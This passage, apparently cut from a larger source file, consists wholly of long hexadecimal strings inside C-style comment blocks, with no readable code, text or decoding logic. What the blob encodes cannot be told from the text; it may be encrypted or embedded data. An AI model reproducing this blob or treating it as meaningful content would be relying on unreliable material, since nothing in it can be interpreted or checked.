88620fcf6f8269afdb3a07e69328e824030de0c1384acfdd4fa884edec5930d6a77cf01883bbbf0a0479f23c478423640949206a00de1ddb54eeedc64fa8b92a862dee62e6e1e62a4078f25e0a3f1833244fdd38c20e5f95e1d6364f99f25d1073e013988757ed65ce6a12cdeb1d4a012f908a20158742c38f31425c46441eba4c3cd84843275978cfcfefe52dee06c5f8d10a169b03e53a2523de15620e33c866d8fb3f7ae30cfb0e4be7cf9f271ac519d4e11e256cdc61dec46111ab9febdc760da25496afe861bda75fc19a97047a7e6a265ac52fcbc8946605e566ea033a0fc57094c0ee91dcddf1f77ebe01cb85453a475d7f65a297ee5243ed7b8a77bf8335d16b91035da0979ee495f4427bbdf32e230a6b0d7da85508d9a7d48c99edc352a53a52a3c86db1d081d1e7c2888a00ffde895a6ee9e2de6dd3e847ef109ae7ab7141472e7f1464d91488cf4452a322f9e170b0f2e6dd169b16744df4300e4c6f61dacc0966916f8587f9cda6b4494cb0f4ea0b4c48e021f30ce04ed1c0a78412e674bc90e6944f2e768a22d5afbec772c05bec7b2aeef133746aa65dfaf8d82866e3e23a844ba46a29352e8d30d2661d3b5827199a988ef67c79428e93205a7cb2b610e4f635dc8e8dfe08bec909cf17fe2874a5a36ddfce53558af562afdcf8308c96478c2808146266f088198b4bc67d0ba1d30299745684fbc3fa2c1cab092edf02928ca954c2012bccd7dd2c46*/
/*0d74a6fcfbccdac2a719e40704bd5d5fa38ce3a5133383370fa91f55b37df27366fde927b7880efcec3b864d4fa02dda8c6ab8c00cc86727276417c3caf544d271307ecdabfb2c88964f3cf49e66eec7fb5bac66c5830c7714c2b01bb81ef1c20378dcfe9e39b6b7eb2a9383ff88f5a329197e52092e6c67b0ad9d345ae4efe10129a5e2ca89faff077e8101db1b97ea79fc403bc59aabe3c614d0b4aa88087aaf121909abc819da3260b489f71bfc7e0b4670b8eb80ee89cd80d76597842d62f1417ca882ccc9863fd1958b9596ce74e2ded4c25684848d7ae20d5ebb01627273ee30fa944d1bc9670eef493c50b1510b4735e5eacf9600cfee9a00abc0057792c5872a7f0a901a4b17755357ea668d7de1ea2d1cb2cf918fa497db5ce636009d94e808094adb6148e147318b8ad8f525ca82c59bf2a1a2ac2b9e14b729429176200238d0812c4c45fa4e96646ce5c8462ad05327d78e66c512f81b5b1e7c8baf14d38badc5083de18a1ae8a2c8a1b54d80d55bd1f210c557103c6fd7be8080609db54a7823c5508da93a59dd878a73f7fa904e99b74b70af3441c33fd82795711e4a2fa4dd6445dd9e791636c27c6485ad700802a6c2544457756938858157c54279e2922add0071ea50dac8e541c9a2e86a174717febfe3d45ed5e40f51fa35d821df6beedd86b115147dbe2df0e2f48e7fb522a970d8110bde3da11f3f6126e7b6db3c81620a8a8af283f1b7d2228c165ae29ce248a45a72de4af841fdf03f58f80fe5d72cd473f2eea1d2aed8d5edab8b9a00668555d8c157d6ce35e2aa17010bf3ef1a1cc7db6ff7f4d110befc2d1b19c7271a9822526104ac0d8404efbb1236ceed09b7c649d506fda55fd8ae4b590546a2ae22c57c8959b21a9fa629d7a3720646f45bffa07da37a8655ea4b697ee84e005284f7eacc5ee8eeb0b519d19f3dcc59940c6f0e0c250c657a3e493a79af0f43948b92a51f8938791e6950a06b667a3487cf6162829cdb1d408de5da04a8fb4f4f3717bf62a6d0a28e39cda14e68116c292111b722f33594049610ac0f12a9e374e85420e93b19a2284bacaf9eea6d14eed502ce42d4fa1eff14b37a14871c8d0f67b1cc89a356b023fd43d94cc30e5f2a5a992be89db3f23f9df387b5d5dd42aedac51c43a723a0bea0cd8e5de8326ad90387b1b5aded066ef19c5dbd92fb106c2a86ad3ef9f87ce9ae0b1ac0b63b833e7d737254375b01dd5e0db74f35871e2fecd695a385e2b5dc69c2122fae7b388d867612a63110f8895e0deb53c5b1200ea108a7d77d13c7cf74c77d8905238b377398f67b091e0d78d8d55176b6a0672d4177870fe0ff62af318cc1d704dc04568a90d8ac231570bffbe5af617c9038e111e8959169b658b1c525810b6eb4a3a0445523a477c61a36864baf918034b29a4189df76b117246760424042241f0f8fd1f2b0cd9bb9883896b7deeb7fd6bca4981e6c8ed3e5e91fde7defbae12e41c077c070721c504d4a007b4a5717d721a5858fb3764b721cf1aa10b4e0754f2d4660bcb4d7880f989ca982c3c3f09deac2cb0511b408583a2906ed3c054f3969c59a15daf93f6f1df2d1b3dafbb55cb402244fb82704bf8c95959253f10bbf53b7e6482d2776bf68a9d265250b14d38c946cc8a1ecfdbe64ccc35fe691187e70be2b32f113fafd2fb95576972a2083797588e1a81316740b27566f65c47a5e25d05ac7e59602d08afdb0a64bd9bf83c9dd7b039a907087413413237ca48a8457fccdf3afd7ae18dcb2808868f4bb3af671550cd3dafe4a0bd00772a93384bb22fc1d1e97b71e2d37b72588ec781323a861cc919ac3f8f407f5fc56595890781f4cbab9c825bfc555d342948444ae731868c5227dd04307dceeee40aafb895b2ceaa713aaa83c0f2ca23d687795db2006e88cab978119e70fd89b56ccbc59d754970c219110cb1f3a9efdcd24e084fec175bd35b0e6b4fe0a359b9cd1359f5b8b9e022423495b8af2a9c34dd904fdb470603c1b5251a050ff719ef8441a24995a4e5c89f937326ea181cab4f6b9de5708cd846b7f28d680151a8e2a42a6e3634b8cbf4f49752cb4acffe7bfc76d06dd321ae54f314d51c0e62b2a38e7b29f8ebb35e2146c31020c89596dc820c8fe3ac416a22ef4764881750da31092599fbce9e5fbc880b7e38b6b665f66a7f50071bf427b70ea464f000f87c8149ef6ac97b5aa2f28f6c05f9d2c62dce13e43cde1a037c65eb9efa797b25123590da9062f5fb38696837f29259af01c4452fff1e1de8000be1f4f065497a1aaf7d9103b5798e490318216f738c315313acb7a03d600f1fcee701d44dcb09bb1e0b3d6c0ff7a27898551d41fcba4381fb3f4a0420329d2fb6228172d024d57b21265ca41c82ec20384b40b4dfcaaca672920377a2aab37f002350b5701410f4d862c400709101c34033b2f5ecd05cd5a9097defe6fffac640f76a5811fb53c70129adf640c0b2e2f03bc6744c12354aa95ff0ee7f90ca4a3bedd2332835dabdeb1c5a025a5b1bda5f89f0c0fb2b5a70f36258cf350521bfb66484f1b7fee48899f7a6592a48c3ba6cf0bddef4265ee881e7e10ac99c8d5eed7d72b509cb79a8c26da7ffebd37f245cc93234332fc4af458b14992b92af19f658889878b084d565195de49a2fe4690186cceaa8835e7293e8a32cd29c2ec3ed40a2385ccc0cfc4419c82573078ab9a3a2bff28ae62588fd41326f642cfa1a02fc088b991e7ea9e8dae355b137fd53248309265ad1f44c40cf36be72b66bde8d1e7a7be72cae571f00b840d1660dc40aee22cf28110d5691a*/
/*67dec0ee8c402388497d0f9a628c8611b6c2ae33c8e39fcad5d54ca541f943c551619d382a9fca727ab8185df0f639f444d3c5f8c37355cc30e28c4f4980926558591068c9a8f6d925231d14efc275662136ec03378ad22cacb5213a6d67db2c1fc219ff267c2530f14046f13ab2a8facdbb22d5f3b0fd6b7f430c306f30e469b2eb58fc0ccfbcd0d0d9af5ddbe32fdd19817be8ee572db0aaf6152b3d67c4795d1c69ff9601dfbb639083264bc3988f8ade7b05292cace072c88657a5a6b10c4573c519a3ead2f5486f51b6bfd8e0cd4fa6f287d8b665642aec8e6ace1ffc9891717efd9b2cd01872b9a36156269bf66f7770b8ecf92b51fdc1867794403598d0533a437ab3c0ce5bd75363ac24a6fa98f70e5d59fdd0a603609737a8f1aae3530e89d61170a19cef5befbcf1947f8a002a77b555392c59dde2ff76feb162cf6f76b8d9d8b923f706dd5fc20791df9e808e7421e43c23437dc79c59b96e9ed0e2b536c584fd9385f6b5e7bc4a64be0de0d0f7d3bd296f57e4ede07eb57b8d0e65ce31cef1bdf695ef23a0858954e09f99a52e5273059dcb46baf1a593bf91e56ac5c6cbce723801db817b724f36764fc1afe4b1577473b35a69802556cf246d64fedc66d3d44fca94fdb61f059e003a35a3bc80fa3920b9109362cf1bf3f5f5c8f544e96b74663c3992c8ff825b7d635a2488219c54ef6c9586b580cdf5711b92bafff38e9973178b38f6f3375437648acc0e34c5efad7e7aaf0013251105d33494b75df37b8346c685145179f7b13d25c051c1be70464efd9e8ad02effd0f7b5e47dbadf50444a80b224ee81fb130b70ad2e83481ba83d34ce1c9d92841a2253aa989ea2b4d099cd4b4dd78eb31269a14eb95f01c6c9fdb9a678564b337e40996dbd06c784d67cdbf1e1e7f58f6c5d3fee50fcb10e5d23fc92153c159e616a7e202759c1676d945e45a950b0a53a51ffdf92a5c076c50758c289fb7f79025e96166420355ffc687aa6a6f2845fb1cf0c6322c1f461774ea50db78b684d737b2a6c998eb8252ee584373b05e614be66a5f573185366f1ba6b8b943c0dbb9c305e465c9d6ac865693847edecb2db47bdd1f884dc6ef9ffaaf70f571149a50b8d4163862017cbbf7b860239ce3605dad153adefeef904add32c72b19fd19096a61c45999340463a7c334b0488ee00818c7070b008d0b24f85c16b72e27725ec26cf8810e0e92e1642e423e6d32af1704a56e7b664a5ef093e99a47b15d8d5c9fd864d09237fd32acabf57efab71d0da4d79811ed30187e5c3b5d562ee4b82641d582e419cad4f7417a82a6ed6edef9f0f8992e0a34166516234a49c45693e9d926165dc5db52f7e03f6c9667f2ca94fe56d7b68ba08ab6abaa0832260913b9f09edaab3fb7cbf1ae7fface45f5fe3ef6c47f120f24a4e9f19d3ee5467e3ec7cb1c87d73c8e6bc110125593626993463b8cf423d4f80c801b4f82d2b1690a5196c34378f80ac29f2d756189dd8fd6d88d1a3dc2fe648f28545819eee6a012c75567e7770950b8bd9ce649cda0eddbf55db128b4c8874217cbeef406abd68189371b544bcf93be1128e49cd0957fd773f227615df34e42f87dd69445d9790cff15ef8fbdf7d8b62ed3b501f73a0e188c02210291abc5532a9adc0dbc19d60b1ae77b85abdb151240b63f6530836af171bf486f7cea809e6cd2f6cb10c03bac1516eb78016ac1069400ce382b6952f53fcb6ac02b8f30c2268a699c42cad46afe31a814864a368e749cbc7b79ccd00e90e08ed552cc4de8ea813dc6b2b6036e7c39d71420300f5b32a845041eb006cdb2e4cdbe2061585f7bfcf05adfceba245352b8906e37fd03a19c8eaf6fedbfdf392dd2543c9a512ca69e122ca4f7caddc245fd945485bc86aaa2eb053bb6477f3a733201ea96bde6407afaadcf70c8587dbd581d9e0e0804b5060ebaddda6f71691866a49e836c76eb8a8628976d35fb75fafb65646d9a00366c8b959162cd7db630daea05d2c2e76a7486a823c48469a7de9c2250c34d5199d5647ac12d9f9920475727af014db42b73dab9e809c1b5220a9382e241ac3d91b36d0e08c2fea02e83cd6153dfe296e54f0ee8886e57f7f24ffc83d0c300519d817ff4c925cab31bac49068933e7d7b68ea553b21ee56ca0f363850010fc0e79aa0a8c44447528dcadd9e5f5a5e8800d28b8e269ec941c0abab82bb2df63b5358f886ce89fa2024d82bbf718498f34be9abc6faafff103e817a0736b92309fcbbe80fa1f2a4bc4a58ed308e02e059cafbea55d3d17f9a4605eab5a5ed3bc6f86ec0f5db4889af32f728ae0f1c5b7da36fe3848d344e42f605db972fe89843135581bebaf372be1e21ac6d07d5fd2ffb56f821400bca9eccf4031e4ba58cb0cccd2093990ac7fc6fe3aefd31101c1d538b4f26c57ec93bcad87ac877a4ea419ff630669ce0cf2dae816c9e051211dad6cf63c90c0bef59b6a0c337b39d1439189c50867b0c9a55e16ced9dedd1100d5cb98b1b247026a76865d55a9643b4079d9dbcb7d6321d83a2d8c7157170d27bbc0749ebc059df397d6af404522d439fd1fc3893c9bbceb79ceae38048e65d5e622ba42cfe91e4ccba34d86e3804aea6d074094aa377cc4463bfc9d79215782d498c38e202742351b6d0523c4889f00bd8f2e81d370c89576edc9e38d928309d87ed5d370fb1f3dfadce30eeced089bf5e0160c3ae3b5723d95ae32b34361b81430018eded39cf27325429a0a9b788e91e5009d4da52c3bc3fecacda50e559f3a4bf7fc83c7f6c983f9c4814c92518ec71c25c97eb6f3f0ae885f9*/
/*8fe991851b296f6282dee3ce700975d6a9a5de220329ae4d313d62dbee586c62f63ce5a9f24144c2aa644d334c26cbd5f7bac07a630a357a2e685af0268feecf6607890c8ef372911d50aa86af11b271a6ba1525cef3ff26270a5b545b0516c5f56ee28c4ec7cfbe6db66d97b27f0b09b6fcf09a3d2bab443d66cb8159d657b2d97c4c0d14a9cfcfe50503767bd04d00de9d426b3588f6c1be17112346d0862db2baf3b6f073b353c92ca88020f66df5cce86470e0d9da21365f049f13003b318cc35fd99c0d50750b3ae42964dfeeb534516fa873b27dc877977848c4616989c2505d570a7835a2b882339396e1c6be65752038fc05e0cd41c0a0d5d9b48b5d3e1399eafccc07924679ed0c4c84ac02dae3943aeee785841cf05f0dc56c41fd36f333e4e3141514f829385197b1cfddc79c6f3a85c880f1cfdc00d6c764b747d4767d34b980f43f31b478b7909f83a8309c5ae9c82cfd679b433bf1357dcd9ef52fcc7e9c8b9d0f93e91e138fc25cda33ae4f808ab4974e933dc0639f4d9af15d3c2abd06015f2e075ccd99ec3e3d1ae326ee9c64abd5559a32910dbf231c4f446e80d82f354ef1cc694ba93dcad2246b65d4dd70a99ac845058690bebfd38f43b70d6521ebcaec813ebabcb15ea0d5a25eb253ffaad625dba1b445928b4933d02e6fca8c05f00ed28b07a37eb138203ac3fba3050dd24e0192a7c98c182c188d6776284fcdf1fd1b42b5ee449aee1e3850157478e476259e91165424a093b96e903fbfe024bd54dc33337f465686f001d17c248c731f490a84fc129457cc35de7cd149e4006bf6527b837859c2a084e18586b5f9f390b3b8fb906633ff6702e70f816ee0a1371188af6130c3f0d1fb2dd1917229f9d6004779ebe1e9d4a6b2a63db0b128723a4b01d4aad983fd2de659b4c3ccfc6f711a361af3fcffa7ae32a20eb76c1eff6cf9cafa5675b64b07a3a6c23dcb8687e640c7be2d929e37c02c786c927c27ac44727e5e1813b7e88bb1530f1da0627d06785b5de4917d93ed019d3699ed4649cc643d81c55d1616854721db6f9364629fe4ef6a2393797d97ff9d5cb831f5640b1881f38d1912246d30dd03d3100ee8d9e9f1c4140f0735a7daf867ffbaa914f0209412abab29833b36f90493d7ce46bd85774463c474e27b5ba3d2502eb46e445f7e5f8aa78c5b4cfb9dbb29030e89f92158d761a257ecf9bcfe51e4e3cc643dc8ccf3f5a6dc62db24a10c485175785f50bf62cf88d06c3dd07a0d9686bd3f9f9e6738254ce9ddcb25853547b17df391038e52651807af40bc381c6548dbf3455a2b4cbaf185b56ab685a4359765d57abdfef69428dbe13a1e851d4f9577b2e4885423efc168d3055f4281849b13831b7add55d5f266729e6aa1d684ccc34ab702b02528df1fbc91e2247ad7450be55624f6e751487602958598a97fbfdb77b81b4f406e66c837971c540aff453a7ab0cd9ee7955c18adb301c5a47c134cb39a9e34278d4f9d8323b6655396488b3b91ac43b3586bd6656dfdf83b834b077279e43c94b728f190192d75806d955c08fdcec9c6c82992f9be9dac20bf320df6598c4a210cc45ef547610a64b8147f04cc9f5803043807743059d8603a818a2c0dc3dcf009574f6722c48f3dd7a5c5dd4ea20861417b35a844d0bc50a7645910c284726051e6d19a601cc888b179c88d8f175cfc8fc469da1215e1cf00786b7118bd51f229d9706758c4788f70835ebb9e4a1bf089b3d052985cee1b33e7e30858fefba1161e9c4510e96a4bab8d6bd850ea6c851382a22215fc41b53b396a1bfa5289db81fdcdd12f320c0dd2ab69c6b1aad4b2ea7b9f3528ea9daab59fa8cc8ce28abeee732cf7ee54f2b0335b1626d2a9c08eddec2e61ba942b09296bfd1255ecf5f3565cdba8516e4bd99db7f10817c10fe4a616a651656ea626099cff7ad8f2855f430793d2930f90435a073d4c4917dc6ae2a4490e092daa7227fc33fb9cd3581f3d8837f6a6a2e92f7447730873099e3ec794ab8ed6bdc6fee392d777bc52208239fe754ac52faaf002fc309d6f1ac43685a7a2cdde926d6ca8f5d853b81c7e99d78ab3b2f0947f0fd89abbf82adca45b0581a64df4da6e1618322cb7f8347929f5a92cc52eca21a27ecfc35cdeabb60b5a0e1792399d3f238b2870274a03097df1ed01a93e8da8ff12f79b402ac61d0d89ecf2af0655ed10bbbaf53872a24c1a246099fd05e70363079df07a56d4616ab9f2b12201d7179ed21f65639d589bb3bf270caf1a46f57d916fd9ca8b9ace811c2b9e476b80a56b0c1b6707404bbee916a5df26e9206dfbba94361e7cd37826cd08ed025564eb0aca580ffa0c7f3f83901f1b588e3717025f6d122f2741fdbcbe65146ca955fc212d41849d07dab8472e9da0017c78e9eae3b406d4901d1abfd0ee3deac671ee8f0060815cfe2b448263697c427fc8f4ebf5a0222abb719062ebf29a60c712d01e8075a3b61e19fb6b95cc67db5cdf62147a1ef048d4112cef221c84bb5fa11f0a390236886b4c43125da59eb123c2752366f53e241db2e5d5653b4b14bef309a84eaa3a4eb396a2bfbc59b8d31ba8f982f1ab73ede72da2338ccb89e2f2d9f6e7e791e7153cbde83173553469189a4b885116a52a265d311ac1b804f6d5e2d93cc2fd09c95e54bcd7eba1f1dfbc433058279e5690e4a90e61ee3c465b812479494e73333fa83c7e67915e0fc4d564d65c65b18c879d59b61bbee22925e21b024fad62beee7053e47a3fe7bb8994bf4258d3e51f41b127c07dc6526900500bf2c7907bcf6fbde0e9c4a886a6009fbb*/
/*3b870dc406be2d045996e9b6535437f91503a5fd921f312f5b88ab6f3a01a5b8e86b15396e8d63c51f304a8a467d67162317cd813810abcf26ffeaee036524fa7b66d86004063bb2d20e1d3eb0ef4c9efc9462a60dc5e35eb85813abd5ec8a954d7566cd11ce620d02aa59bc13383b1cd8863ab4037ae38905884d45ae7d4680afd528a0b4e52447914645f1b35987ac3232883870b7260e80e2f02a62ee1caa85a872212ec4ab9adb777ad74ea8ff087250a11d45d8e38224f0269a9c5a806f1a753ae5c81324e40eefc930e53cb92e4a996c24faabef536d8b6799012d677c88cd060c3770c072726eab2aa30d213fc66df8b25efba56d69a1a9352a8f7fd75b57edd316216f514f4d87286bfcea51fd0e1a12966e94418a9b4a396d53eb871adcfef48baeb431e3ce5e6ccdba713e56f22e8722a781ad14cd84f3a0c1ea0c6930340b501d2a65edaed1f171b3f80caf4cb88fd9e8b8b8edee8f758e6d6d0a976cbac0e04809cd347339e901cd8897055026afdda0ff19b164d51e689a3c46fffb59c38388cb1c66ba8448863d992860eb30e6387679ebcf7edea5937c99ab77d1345a6e1f15831f2ef8392e00f1caa24621ba513ce99ba5444bf0ad31dd156c6eea6e38dbf33558fcf85ee7e9b6b6d9683e746425b941d897666a3c9bb3886df326c9d78df2d58d26d5b2fc70c21eb0d6f030edd5b3614c0690ae28f70a0836192da9f310da98ada10bfe8321ee57ec2da3764dd200086b4e623dba8ef19aab9c1c0a33e156431078b11dbb61924d9dfff4c7663a79f2b38e9c5be46a7a1f35af2a118ac50129a325d96fb26a9152db188761e61d134dc8b8ccac3b1f62fe934971587c24e8e73ecdb6487e62e8bbfc60f24b3910ff6e7f85bafbb03b74db8e87731e32a2c3e2388c13194b852f6b83a3eda5d6497443d3d8c1279e2e5d4b811f22e80931ce873508b298652045c75f6bb7b7f60257a33af96ec5e5d3c798659a4485f793e046766ae62707ad620c6f1a5c8201f29762b4fe078e48d145831c0b4ff29c6e723d995a4980a2018c6478677316a6752ff3c9b4c40b4bd6d8c6cd7d814f2b7127ef7535ed539b90b31399ffdb49c33bd8f7916c7b2154263620ac8d8e7e1b411f14f74855b0a8c877bb8ce42e60f809130a44c64ce91a7efed53d7eee36c8bc8227bd8b77d73101f537ae2b47d34d8147f34334514381b8888953bc28bb05abba37a71d0d1c5589a769edd8ad4cecf36837cc12790d54d5b5e9ed0015e23bb7fbe8460d6915628f0a4babf8e035136acbb2c0c911e2dda030c651d62979de547ea40db6d8644e36d7205f5f3e88ae1edd71c5fb0ac6fc08251e8b958f2cbcc18966dcc1bc77d76ec8fdf4361b6abad9325b5e34bed329b2d41b152238a49cfeb51bbfe4b45cbd250241001a26e13f3b54d3066f8ff72051453bd6b542ba98bc87bc44bcd94ad4f5cf9b7d336166f8b3a371725f739f05f7ae44a4bf45c1f9b13169222cc22bdd3afed2888737bfb89794fcbfb052109ac2689cf30b656a04be036a7e2a29d381cd607c047b323fbb57d536172d93448d2efb7a159e35dcef34d582f6570a0e86d9765531f16b6b0df8ff094cb25bf68d3d4a41ce71d2ecc6329f898f80a16cffb442e692a7a5816a1f7ec02292fc8a5e2ffed84381474009b0c5114bc6af30c78c0a400e060b75b922e67b30739998961f3ea3ca2138472147eed22bf936e79599c65438bbcd8a9bece2f5d04d66df5a4f0655d6074aa7992bb436d9d56e8502c37cf54aa5f71de7e71ebe9a435ca07328380af015f18a791d12b574fe28c1ff14f83a6680bbdcd4da6af3130c120a022c76f6023d8403c756ab789634c0896427e18e138e430861f7475a57acfb8aa54ea408d070eb8039ed88ec0cc0410c71960208045488b5e95cf09bfcc13045cade5104e4fb9c5c650466ec04ce03c894fac1edfb390badc0c9b72af6eca90110ef293b54443f01d4fe9a9c8b12ea353d199dd159082a9578c5a74634748b0134467ca9c798c33301e984113c239e82d73930ee64c4245fcc29c2002ee39839505409405ff3d0bcafb784a70ec5cc4ba6135817f4d5d3388e94c506d15624b715597d6fe7c48d00bd875ca05143bddc2eab965a5739d50a71ac0bb8c416a5cfb2993e7e1b9d687efde6d86633c0702e9cd85e9bb591574d1cf13b12d5a550591f4b007e9effc74c6c74036085dbff552e55687891e7a92905834d65527cb95eb35bd75a8107733370364049321c656bb7e6b2aba15bba95475c1fa193b1283d4bd1924ad210b79a568e9b5f76d9fc8d798022df0c0e38e85a19809a561465dda133ca9897ba62da73d10c6aabb396dc242240bd2709e1a906f753dee5ba9f1088c094edb28400008ef647e7a81c6195909e6f138dc54a507ce7f4ef0b785c6ff28043bc607c049443f9e6d82b5b4ffba30e60d970bf8ffe18763a6c63f4142b2b83510706242c20021ee0eb1358ef56c333ec17d217e8ded044afe090e41f1f425008f5a986910bf1e1ffee05d50d1536335827276e61570e189eee48d2f047f7eb6b10e02e9e64a517e47615830cedca7633f262d28ecd952046046cb4627327ed7ebc64b450124f9efcd379c9803945837cdba3cf788614e8dc6959447c442e46b04a37526b341ae3cf78645fc1d3dcf900808acc20e925f164e5d8ceabb14b4dc7557413f8c7c35c054ea0d4ed65e4b56849956a9997d5fa672c79775207a0fa1382085f3b87be03c62b866bf64901a1d55cb0add73ea4941ca0d21d29d78fdcc7657c6d99e9ba1a1e4296d2da7439527a21*/
/*4499de9128ef509ede63a161fb380e0ba16a5be7382eef98ff6a7da87acab86f3a334862350270b4d68b8b0e829f2de21baaf0a3da0f1e51221355d49bc8deb1651868a51ab6592c8d118fd88a7db04c93de7a0f230dc64689af680c89557f46ec786d84678e39be772bb12ced3741123c8a02c6d4f562153c2c02ebe1ded3d6fd22bda15bc7393775b63bbd9194c1a9adda64c515e6ca1d2374ba04b7e8f30ebc38cd5ff874e48b61d0784eac43b772094cea152ea7c5a6b1733686e0c6c2522fba7f975a34f0ad8ed7afa4a137d65a0f74c057cc1b40af2ef6b88431b0ce7e9d2e11e60999d9e5c7557b8a8951dfb8002308f3b2b34665d49356cf84dd53d4967c06f7409019a24d1dcab4245ded436eb3f6d706468e14ac862d2a133553a144c9cf487e514ec5515c5ed3e152abe87be66fe91ccf2198232c5352359c0213631fc1f0a89cdd4b499835f5e1d50dfc918742ef2ed519a3d4b88be0a17ccd712bb5537768260806ce2f47e36973c20d8a16bf81b28ab2774759630ecfaa4bca7f8f2c2c71f779dfa0cfb7adb00d520c90368ff813755e82e1b4cbf22f5c0067de1adeb8714b6f885055131fc12546cb7ccf225430ed1bb375588722ae479a0b97e73c64c95b73622e908d03adc870e90beaa8315e222b3481b6544da9824a99dcfb9939f289b8c0dd6c9bdfed43872318d56c2c43ed3e6c89d3d38c4bc0e89d73274e13d24e48a55a32f55b46e3ded39b7ad24d3f77e14b944389d6839d0e5129e9a1eb6a74ef33d3caf2da5bc873cc34e446576697390b1cdc6c607146229eb320be1a95c2ee3da297b5141c4e4fa54397c3726f40162d1f1292326938f5d44a35a314a0a0fb8ffa17bb35deb2faed4ad980dfb95a815bcca6ce562b3e3e9358c56ec1088edf76f92d7c57033fe7b18c2e68eee26041c754d889d2cbca43922d2c210e5613386509271b442c23777d6cc2d32b1ab10fe4cd3456672b3d1e855552503009c7b49d4c1b1656d2cd8e72f3d87d668a4572b199fbf0c52a9ed8dc0e465e02145c15804c06e2d07296b0196ca160066a90c2ec34c5f15772dcbdc5ff2bd1f045eefd1cfa2ce61dcbefd6b9bfdea8a8886202d44edcebb8dbe3e65db1c9294b7d6add24861af441ef97a033a4b04cff961af3433e762ee78fd516b7b0cf9e1dfe71b2cf77ba129936361052e50b19ff4f6d36dc7bc762fd7f11a95bd036e81661a10495d8ca248d5514f6284c70323ed4e0083d9e289ed635c961b1522ac5042293d0ff853ebfe18f0151da7f8d9aaf14882c5ce3ae53ecfade95c4674bde88ff7d6633c862c4a92da15109bbc4b6fab18acc1c5b6b8fb4004260463a68a26b0275f1d0dd8a7916098b300051385c8e658ff488cd6647759e11de72d3ebe886cb663b8f43afd62aa9c3da55d51eadbd086a47afe774202e473cb5231a32937c2f359f1d809a33b657a7cc767c764be9693943502e3bae2f0f1563a821332b81917252ccadacccfe659ee0e338f53dccc4209e703c3e8e61ff77a3abf337409c4a64b7978746dfa47adea0fde5e96777bef9b03e1a928fd91bef9ab7493337badab7bf08e0a6a00619c3068108b5eda27900e3aeec5c083ebe26789b3e24601591aa450b1478cf78f7aa4c7f05138aaa8e76eecc2cbb71ea9607ae91ac99ecb167d2cdb8f0fa9ea15cb68d44e09481b1d0e075fe9fb08cdc921a81c09c3ebbd85d6637bea924da37642c0ad152a9d2797c13aa112b382b247438b69b01f29b4229193c17c3463e1495c6707e1fdf4911b474e8cffb03b55a591dc0e63c378cac917f550b74264f5917ecf0810f52d384031a399f78269e415cb7354e932230c8a74076c3056e1339710311b439713d0538b64f50dc9f26cebded92f6053e37be33694b49fabfc5a6a46cc6d3de2dfb08aa9a100ea2b00dcd23f7659a7746c54c960d6fd44c7edf3327ed90cc4798613c0ac5e1198593cdd7344ede1b62aa4bd29ef88b3c5e8bdc9a0ffee4a7ce49efffbf563c7e9f5069ba05d7e68e53b06dadd193379d78afe8077c0aad138686fd99ac2de4225dba4c9d8b5a0f28c4935ea9f831b08de49af52008725cedd1680dc599d23fdb97dc5a697a2c923b016ace9c3312f58e1fcede0a748eef407b97f978bd35acfe3506b250b10bceb6a004ae2ebd66d18994e4b6ed01f262b726b6e55e26f9865a3c5417f653af65f001b47244f4e42173d939224f2209bbb88fdca23cd42d0d5ce04656beb80ba2f6fe86b27389a82fbda7dc09015267f460cf0b46ee3e45ea509200fd7eb3032cb93ad08511c68f9cac83d179cb1036f23a7eb2e854626969818f8f5fa059c86fbdaf12dd7de6c99ed47fdeba0c8e8125dfd29aaff97638b2a748b9c4ab68513f2216a3447c0a94a364fc64a1f48b8877ec8a260f26b3bf3592acbf5b32291d6387c7a4fb3317e09990b3ac5caacd2de8d8f1da09b08bc6a4811ca81e7ae2a436253ebcf139556ca49ac97aae841e8904a4dbd7c7ade22b7ab599d56c10e2516bcf35676de8352435b4a69786d1f1221e2baf35c4aa9a61a33930429e3340cba7f3a4cecf9d8188a4301d65ab1f97e25e97b3d2e4263485f38b2df4998a384a0f02a2e646ea806f31fb1c77804e3f158c676a71f695630b1d00f28ca82d8e4225d03f328296592e994f80c06db82b0465ae9cbdf6ab63b134940e735d4793d2e786484c6f7deb2b44268ab080eb7db1c1940e75c1ed6074098bc8ef97a491ec5978e946b55de8dab6bacdba24ce75f2870394698ab23de09ef3193ee49bb4432c3c78cdc45ff61bf9fb91490520ab2eaf27*/
/*518911b3fea05a96196b2f16f2ebcd85a66d317d1ed1177e7a32c2e983f588fadbd2c7b773c638790e45fcfb3a9a699a1b76ac110114baa1a2ef38960426c8b268cd709f6d3fc18649ec718c2081fb0d0460e72b8f2ce208392ef3a13bd2f1c86272be02000b1e5612a988df73b30006de23b5e0410bebd972d9ef240381adc83fee372da1977fba46df373521598f9d848e9a77650eccd4c59e989c5b5c863986bdd0f05b097141d2abfc6b62b7f7af04ad5dffcdbf03ee0ea9475102625a525b71073d2b3ba96a07b7cb52c8c3eb903502fb5a90eed47e3c9844296b28de70652eac74fba5fc0fd84d8c72a109aa747d0e1663d517e3a721c66b2efdaca9b1a2798c59dcd5f24354510be0eb76fb7a36f1dd5b550d5b62234724341639c9dec933cf7d6f1dd9dffbb26bd10745f3a9a7b74db1100820b89a39214a4a4071d2cfa6fa4b365869859316995d12c6f90e196ec71a663711fa39b83652728ad5afde2df784270a556805946ae662c8a4b994308cfa02de8c75452b5a79b94a4e2ed61c48088021442d71f75b499f1474b0085e294f3c66177e8023eba0ab20703f6983ff1fc35ad75b92cfe80e93ca565fd1c7c44f96a0c6b94c86ebbd744cf8fd983e7ee61a22ba0973e233771e1e874dc938f04e733325bc8fa9b580b808e0ffc631cfddec4351ab70886349f87439525b53336de873da875f8fb5b1534c6e7fcda055824970da1956ef64150603b95a51e1df2aef8784cb8d3cf46dd3f560648c4563f54af240fcdd26388179e1ffaef9964ac4b1d025312828525f1b05bf66777fc5411b43ffcf3f81f76cfb6f6aea9c9fee203448bd296963f83e5503c0b424d9d155cd28743919a297e7e1bb9f86455d132124a097fd4290fb918993631a4f7a3047ef98bc9fc89dba0a9d0c38a4c3e9c4ab3524e801d007c8c54534fbe87ef9b580c4b649aecce756d73e5bd8c4f5a9d791678de53ea3ee9da0a5061e7d18e050da5aca66ea37b8c1bf4d8de54532449d26db845d51443502b95b923357e3b34bb6cfd3375a62145c82a627cb2536b4cbfbf4b864f281aa6f49d3513f051a135a0500e95051a1e066b1d4052115113c3203df152fdb3f4c9f89267137b217a326cedf4cba6fe3adf957bfc2c3f0c8806ef5791c34b81b2ceada5910d22638baca86859dc028e28e54a6aa687cb6883e76ae4c4a953233d133ed50f677ce36dcedc1db5e613e1ab816bbf2b2e519c3392f1844cc51eca02b05c76ea65c26ebbff82429be636726f1f49724